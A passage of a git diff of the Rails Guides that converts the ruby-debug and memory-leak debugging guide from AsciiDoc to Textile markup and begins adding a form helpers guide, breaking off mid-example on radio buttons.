 [1, 10] in /PathToProject/posts_controller.rb
    1  class PostsController < ApplicationController
@@ -322,11 +305,11 @@ This command shows you where you are in the code by printing 10 lines centered a
    8      respond_to do |format|
    9        format.html # index.html.erb
    10        format.xml  { render :xml => @posts }
-----------------------------------------------------------------------------
+</shell>
 
-If you repeat the +list+ command, this time using just `l`, the next ten lines of the file will be printed out.
+If you repeat the +list+ command, this time using just +l+, the next ten lines of the file will be printed out.
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:7) l
 [11, 20] in /PathTo/project/app/controllers/posts_controller.rb
    11      end
@@ -339,19 +322,19 @@ If you repeat the +list+ command, this time using just `l`, the next ten lines o
    18
    19      respond_to do |format|
    20        format.html # show.html.erb
-----------------------------------------------------------------------------
+</shell>
 
 And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
 
-=== The Context
+h4. The Context
 
 When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
 
 ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
 
-At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
+At any time you can call the +backtrace+ command (or its alias +where+) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then +backtrace+ will supply the answer.
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:5) where
     #0 PostsController.index
        at line /PathTo/project/app/controllers/posts_controller.rb:6
@@ -362,122 +345,118 @@ At any time you can call the `backtrace` command (or its alias `where`) to print
     #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
        at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
 ...
-----------------------------------------------------------------------------
+</shell>
 
-You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+You move anywhere you want in this trace (thus changing the context) by using the +frame _n_+ command, where _n_ is the specified frame number.
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:5) frame 2
 #2 ActionController::Base.perform_action_without_filters
        at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
-----------------------------------------------------------------------------
+</shell>
 
 The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
 
-Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+Moving up and down the stack frame: You can use +up [n]+ (+u+ for abbreviated) and +down [n]+ commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
 
-=== Threads
+h4. Threads
 
-The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+The debugger can list, stop, resume and switch between running threads by using the command +thread+ (or the abbreviated +th+). This command has a handful of options:
 
-* `thread` shows the current thread.
-* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
-* `thread stop _n_` stop thread _n_.
-* `thread resume _n_` resumes thread _n_.
-* `thread switch _n_` switches the current thread context to _n_.
+* +thread+ shows the current thread.
+* +thread list+ is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* +thread stop _n_+ stop thread _n_.
+* +thread resume _n_+ resumes thread _n_.
+* +thread switch _n_+ switches the current thread context to _n_.
 
 This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
 
-=== Inspecting Variables
+h4. Inspecting Variables
 
 Any expression can be evaluated in the current context. To evaluate an expression, just type it!
 
 This example shows how you can print the instance_variables defined within the current context:
 
-----------------------------------------------------------------------------
+<shell>
 @posts = Post.find(:all)
 (rdb:11) instance_variables
 ["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
-----------------------------------------------------------------------------
+</shell>
 
-As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using +next+ (you'll learn more about this command later in this guide).
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:11) next
 Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
   Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
   Parameters: {"action"=>"index", "controller"=>"posts"}
 /PathToProject/posts_controller.rb:8
 respond_to do |format|
--------------------------------------------------------------------------------
+</shell>
 
 And then ask again for the instance_variables:
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:11) instance_variables.include? "@posts"
 true
-----------------------------------------------------------------------------
+</shell>
 
 Now +@posts+ is a included in the instance variables, because the line defining it was executed.
 
-[TIP]
-You can also step into *irb* mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+TIP: You can also step into *irb* mode with the command +irb+ (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
 
-The `var` method is the most convenient way to show variables and their values:
+The +var+ method is the most convenient way to show variables and their values:
 
-----------------------------------------------------------------------------
+<shell>
 var
 (rdb:1) v[ar] const <object>            show constants of object
 (rdb:1) v[ar] g[lobal]                  show global variables
 (rdb:1) v[ar] i[nstance] <object>       show instance variables of object
 (rdb:1) v[ar] l[ocal]                   show local variables
-----------------------------------------------------------------------------
+</shell>
 
 This is a great way to inspect the values of the current context variables. For example:
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:9) var local
   __dbg_verbose_save => false
-----------------------------------------------------------------------------
+</shell>
 
 You can also inspect for an object method this way:
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:9) var instance Post.new
 @attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
 @attributes_cache = {}
 @new_record = true
-----------------------------------------------------------------------------
+</shell>
 
-[TIP]
-The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+TIP: The commands +p+ (print) and +pp+ (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
 
-You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+You can use also +display+ to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:1) display @recent_comments
 1: @recent_comments =
-----------------------------------------------------------------------------
+</shell>
 
-The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use +undisplay _n_+ where _n_ is the variable number (1 in the last example).
 
-=== Step by Step
+h4. Step by Step
 
 Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
 
-Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to ruby-debug.
+Use +step+ (abbreviated +s+) to continue running your program until the next logical stopping point and return control to ruby-debug.
 
-[TIP]
-You can also use `step+ _n_` and `step- _n_` to move forward or backward _n_ steps respectively.
+TIP: You can also use +step+ _n_+ and +step- _n_+ to move forward or backward _n_ steps respectively.
 
-You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+You may also use +next+ which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
 
-The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+The difference between +next+ and +step+ is that +step+ stops at the next line of code executed, doing just a single step, while +next+ moves to the next line without descending inside methods.
 
 For example, consider this block of code with an included +debugger+ statement:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 class Author < ActiveRecord::Base
   has_one :editorial
   has_many :comments
@@ -491,12 +470,11 @@ class Author < ActiveRecord::Base
     )
   end
 end
-----------------------------------------------------------------------------
+</ruby>
 
-[TIP]
-You can use ruby-debug while using script/console. Just remember to `require "ruby-debug"` before calling the `debugger` method.
+TIP: You can use ruby-debug while using script/console. Just remember to +require "ruby-debug"+ before calling the +debugger+ method.
 
-----------------------------------------------------------------------------
+<shell>
 /PathTo/project $ script/console
 Loading development environment (Rails 2.1.0)
 >> require "ruby-debug"
@@ -506,11 +484,11 @@ Loading development environment (Rails 2.1.0)
 >> author.find_recent_comments
 /PathTo/project/app/models/author.rb:11
 )
-----------------------------------------------------------------------------
+</shell>
 
 With the code stopped, take a look around:
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:1) list
 [6, 15] in /PathTo/project/app/models/author.rb
    6      debugger
@@ -521,19 +499,19 @@ With the code stopped, take a look around:
 => 11      )
    12    end
    13  end
-----------------------------------------------------------------------------
+</shell>
 
 You are at the end of the line, but... was this line executed? You can inspect the instance variables.
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:1) var instance
 @attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
 @attributes_cache = {}
-----------------------------------------------------------------------------
+</shell>
 
 +@recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:1) next
 /PathTo/project/app/models/author.rb:12
 @recent_comments
@@ -542,138 +520,136 @@ You are at the end of the line, but... was this line executed? You can inspect t
 @attributes_cache = {}
 @comments = []
 @recent_comments = []
-----------------------------------------------------------------------------
+</shell>
 
 Now you can see that the +@comments+ relationship was loaded and @recent_comments defined because the line was executed.
 
-If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+If you want to go deeper into the stack trace you can move single +steps+, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
 
-=== Breakpoints
+h4. Breakpoints
 
 A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
 
-You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+You can add breakpoints dynamically with the command +break+ (or just +b+). There are 3 possible ways of adding breakpoints manually:
 
-* `break line`: set breakpoint in the _line_ in the current source file.
-* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
-* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+* +break line+: set breakpoint in the _line_ in the current source file.
+* +break file:line [if expression]+: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* +break class(.|\#)method [if expression]+: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:5) break 10
 Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
-----------------------------------------------------------------------------
+</shell>
 
-Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+Use +info breakpoints _n_+ or +info break _n_+ to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:5) info breakpoints
 Num Enb What
   1 y   at filters.rb:10
-----------------------------------------------------------------------------
+</shell>
 
-To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+To delete breakpoints: use the command +delete _n_+ to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
 
-----------------------------------------------------------------------------
+<shell>
 (rdb:5) delete 1
 (rdb:5) info breakpoints
 No breakpoints.
-----------------------------------------------------------------------------
+</shell>
 
 You can also enable or disable breakpoints:
 
-* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
-* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
+* +enable breakpoints+: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* +disable breakpoints+: the _breakpoints_ will have no effect on your program.
 
-=== Catching Exceptions
+h4. Catching Exceptions
 
-The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+The command +catch exception-name+ (or just +cat exception-name+) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
 
-To list all active catchpoints use `catch`.
+To list all active catchpoints use +catch+.
 
-=== Resuming Execution
+h4. Resuming Execution
 
 There are two ways to resume execution of an application that is stopped in the debugger:
 
-* `continue` [line-specification] (or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
-* `finish` [frame-number] (or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+* +continue+ [line-specification] (or +c+): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* +finish+ [frame-number] (or +fin+): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
 
-=== Editing
+h4. Editing
 
 Two commands allow you to open code from the debugger into an editor:
 
-* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
-* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+* +edit [file:line]+: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* +tmate _n_+ (abbreviated +tm+): open the current file in TextMate. It uses n-th frame if _n_ is specified.
 
-=== Quitting
+h4. Quitting
 
-To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+To exit the debugger, use the +quit+ command (abbreviated +q+), or its alias +exit+.
 
 A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
 
-=== Settings
+h4. Settings
 
 There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:
 
-* `set reload`: Reload source code when changed.
-* `set autolist`: Execute `list` command on every breakpoint.
-* `set listsize _n_`: Set number of source lines to list by default to _n_.
-* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+* +set reload+: Reload source code when changed.
+* +set autolist+: Execute +list+ command on every breakpoint.
+* +set listsize _n_+: Set number of source lines to list by default to _n_.
+* +set forcestep+: Make sure the +next+ and +step+ commands always move to a new line
 
-You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular +set+ command.
+You can see the full list by using +help set+. Use +help set _subcommand_+ to learn about a particular +set+ command.
 
-[TIP]
-You can include any number of these configuration lines inside a `.rdebugrc` file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
+TIP: You can include any number of these configuration lines inside a +.rdebugrc+ file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
 
-Here's a good start for an `.rdebugrc`:
+Here's a good start for an +.rdebugrc+:
 
-----------------------------------------------------------------------------
+<shell>
 set autolist
 set forcestep
 set listsize 25
-----------------------------------------------------------------------------
+</shell>
 
-== Debugging Memory Leaks
+h3. Debugging Memory Leaks
 
 A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
 
 In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.
 
-=== BleakHouse
+h4. BleakHouse
 
-link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] is a library for finding memory leaks.
+"BleakHouse":http://github.com/fauna/bleak_house/tree/master is a library for finding memory leaks.
 
 If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
 
 To install it run:
 
-----------------------------------------------------------------------------
+<shell>
 sudo gem install bleak_house
-----------------------------------------------------------------------------
+</shell>
 
-Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:
+Then setup your application for profiling. Then add the following at the bottom of config/environment.rb:
 
-[source, ruby]
-----------------------------------------------------------------------------
+<ruby>
 require 'bleak_house' if ENV['BLEAK_HOUSE']
-----------------------------------------------------------------------------
+</ruby>
 
 Start a server instance with BleakHouse integration:
 
-----------------------------------------------------------------------------
+<shell>
 RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server
-----------------------------------------------------------------------------
+</shell>
 
-Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`:
+Make sure to run a couple hundred requests to get better data samples, then press +CTRL-C+. The server will stop and Bleak House will produce a dumpfile in +/tmp+:
 
-----------------------------------------------------------------------------
+<shell>
 ** BleakHouse: working...
 ** BleakHouse: complete
 ** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
-----------------------------------------------------------------------------
- 
-To analyze it, just run the listed command. The top 20 leakiest lines will be listed: 
+</shell>
 
-----------------------------------------------------------------------------
+To analyze it, just run the listed command. The top 20 leakiest lines will be listed:
+
+<shell>
   191691 total objects
   Final heap size 191691 filled, 220961 free
   Displaying top 20 most common line/class pairs
@@ -686,48 +662,48 @@ To analyze it, just run the listed command. The top 20 leakiest lines will be li
    935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
    834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
   ...
-----------------------------------------------------------------------------
+</shell>
 
 This way you can find where your application is leaking memory and fix it.
 
-If link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
+If "BleakHouse":http://github.com/fauna/bleak_house/tree/master doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
 
-=== Valgrind
+h4. Valgrind
 
-link:http://valgrind.org/[Valgrind] is a Linux-only application for detecting C-based memory leaks and race conditions.
+"Valgrind":http://valgrind.org/ is a Linux-only application for detecting C-based memory leaks and race conditions.
 
-There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls +malloc()+ but is doesn't properly call +free()+, this memory won't be available until the app terminates.
 
-For further information on how to install Valgrind and use with Ruby, refer to link:http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/[Valgrind and Ruby] by Evan Weaver.
+For further information on how to install Valgrind and use with Ruby, refer to "Valgrind and Ruby":http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/ by Evan Weaver.
 
-== Plugins for Debugging
+h3. Plugins for Debugging
 
 There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
 
-* link:http://github.com/drnic/rails-footnotes/tree/master[Footnotes]: Every Rails page has footnotes that give request information and link back to your source via TextMate.
-* link:http://github.com/ntalbott/query_trace/tree/master[Query Trace]: Adds query origin tracing to your logs.
-* link:http://github.com/dan-manges/query_stats/tree/master[Query Stats]: A Rails plugin to track database queries. 
-* link:http://code.google.com/p/query-reviewer/[Query Reviewer]: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
-* link:http://github.com/rails/exception_notification/tree/master[Exception Notifier]: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
-* link:http://github.com/defunkt/exception_logger/tree/master[Exception Logger]: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
+* "Footnotes":http://github.com/drnic/rails-footnotes/tree/master: Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* "Query Trace":http://github.com/ntalbott/query_trace/tree/master: Adds query origin tracing to your logs.
+* "Query Stats":http://github.com/dan-manges/query_stats/tree/master: A Rails plugin to track database queries.
+* "Query Reviewer":http://code.google.com/p/query-reviewer/: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* "Exception Notifier":http://github.com/rails/exception_notification/tree/master: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+* "Exception Logger":http://github.com/defunkt/exception_logger/tree/master: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
 
-== References
+h3. References
 
-* link:http://www.datanoise.com/ruby-debug[ruby-debug Homepage]
-* link:http://www.sitepoint.com/article/debug-rails-app-ruby-debug/[Article: Debugging a Rails application with ruby-debug]
-* link:http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/[ruby-debug Basics screencast]
-* link:http://railscasts.com/episodes/54-debugging-with-ruby-debug[Ryan Bate's ruby-debug screencast]
-* link:http://railscasts.com/episodes/24-the-stack-trace[Ryan Bate's stack trace screencast]
-* link:http://railscasts.com/episodes/56-the-logger[Ryan Bate's logger screencast]
-* link:http://bashdb.sourceforge.net/ruby-debug.html[Debugging with ruby-debug]
-* link:http://cheat.errtheblog.com/s/rdebug/[ruby-debug cheat sheet]
-* link:http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging[Ruby on Rails Wiki: How to Configure Logging]
-* link:http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html[Bleak House Documentation]
+* "ruby-debug Homepage":http://www.datanoise.com/ruby-debug
+* "Article: Debugging a Rails application with ruby-debug":http://www.sitepoint.com/article/debug-rails-app-ruby-debug/
+* "ruby-debug Basics screencast":http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/
+* "Ryan Bate's ruby-debug screencast":http://railscasts.com/episodes/54-debugging-with-ruby-debug
+* "Ryan Bate's stack trace screencast":http://railscasts.com/episodes/24-the-stack-trace
+* "Ryan Bate's logger screencast":http://railscasts.com/episodes/56-the-logger
+* "Debugging with ruby-debug":http://bashdb.sourceforge.net/ruby-debug.html
+* "ruby-debug cheat sheet":http://cheat.errtheblog.com/s/rdebug/
+* "Ruby on Rails Wiki: How to Configure Logging":http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging
+* "Bleak House Documentation":http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html
 
-== Changelog ==
+h3. Changelog
 
-http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5[Lighthouse ticket]
+"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5
 
-* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by link:../authors.html#miloops[Emilio Tagua]
-* October 19, 2008: Copy editing pass by link:../authors.html#mgunderloy[Mike Gunderloy]
-* September 16, 2008: initial version by link:../authors.html#miloops[Emilio Tagua]
+* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by "Emilio Tagua":credits.html#miloops
+* October 19, 2008: Copy editing pass by "Mike Gunderloy":credits.html#mgunderloy
+* September 16, 2008: initial version by "Emilio Tagua":credits.html#miloops
diff --git a/vendor/rails/railties/guides/source/form_helpers.textile b/vendor/rails/railties/guides/source/form_helpers.textile
new file mode 100644
index 00000000..9ab4deff
--- /dev/null
+++ b/vendor/rails/railties/guides/source/form_helpers.textile
@@ -0,0 +1,766 @@
+h2. Rails Form helpers
+
+Forms in web applications are an essential interface for user input. However, form markup can quickly become tedious to write and maintain because of form control naming and their numerous attributes. Rails deals away with these complexities by providing view helpers for generating form markup. However, since they have different use-cases, developers are required to know all the differences between similar helper methods before putting them to use.
+
+In this guide you will:
+
+* Create search forms and similar kind of generic forms not representing any specific model in your application
+* Make model-centric forms for creation and editing of specific database records
+* Generate select boxes from multiple types of data
+* Understand the date and time helpers Rails provides
+* Learn what makes a file upload form different
+* Find out where to look for complex forms
+
+endprologue.
+
+NOTE: This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit "the Rails API documentation":http://api.rubyonrails.org/ for a complete reference.
+
+
+h3. Dealing with Basic Forms
+
+The most basic form helper is +form_tag+.
+
+<erb>
+<% form_tag do %>
+  Form contents
+<% end %>
+</erb>
+
+When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability):
+
+Sample output from +form_tag+:
+
+<html>
+<form action="/home/index" method="post">
+  <div style="margin:0;padding:0">
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  Form contents
+</form>
+</html>
+
+If you carefully observe this output, you can see that the helper generated something you didn't specify: a +div+ element with a hidden input inside. This is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the "Ruby On Rails Security Guide":./security.html#_cross_site_reference_forgery_csrf.
+
+NOTE: Throughout this guide, this +div+ with the hidden input will be stripped away to have clearer code samples.
+
+h4. A Generic Search Form
+
+Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:
+
+# a form element with "GET" method,
+# a label for the input,
+# a text input element, and
+# a submit element.
+
+IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action.
+
+To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively.
+
+A basic search form
+
+<html>
+<% form_tag(search_path, :method => "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+</html>
+
+TIP: +search_path+ can be a named route specified in "routes.rb": <pre>map.search "search", :controller => "search"</pre>
+
+The above view code will result in the following markup:
+
+<html>
+<form action="/search" method="get">
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+</html>
+
+Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML.
+
+TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+h4. Multiple Hashes in Form Helper Calls
+
+By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class.
+
+As with the +link_to+ helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. However, this is a bad way to pass multiple hashes as method arguments:
+
+<ruby>
+form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form")
+# => <form action="/people/search?method=get&class=nifty_form" method="post">
+</ruby>
+
+Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets:
+
+<ruby>
+form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form")
+# => <form action="/people/search" method="get" class="nifty_form">
+</ruby>
+
+This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.
+
+WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error.
+
+h4. Helpers for Generating Form Elements
+
+Rails provides a series of helpers for generating form elements such as checkboxes, text fields, radio buttons, and so on. These basic helpers, with names ending in <notextile>_tag</notextile> such as +text_field_tag+, +check_box_tag+, etc., generate just a single +&lt;input&gt;+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains
+
+<erb>
+<%= text_field_tag(:query) %>
+</erb>
+
+then the controller code should use
+
+<ruby>
+params[:query]
+</ruby>
+
+to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the +params+ hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html.
+
+h5. Checkboxes
+
+Checkboxes are form controls that give the user a set of options they can enable or disable:
+
+<erb>
+<%= check_box_tag(:pet_dog) %>
+  <%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+  <%= label_tag(:pet_cat, "I own a cat") %>
+
+output:
+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+  <label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+  <label for="pet_cat">I own a cat</label>
+</erb>
+
+The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns.
+
+h5. Radio Buttons
+
+Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one):
+
+<erb>
+<%= radio_button_tag(:age, "child") %>
+  <%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
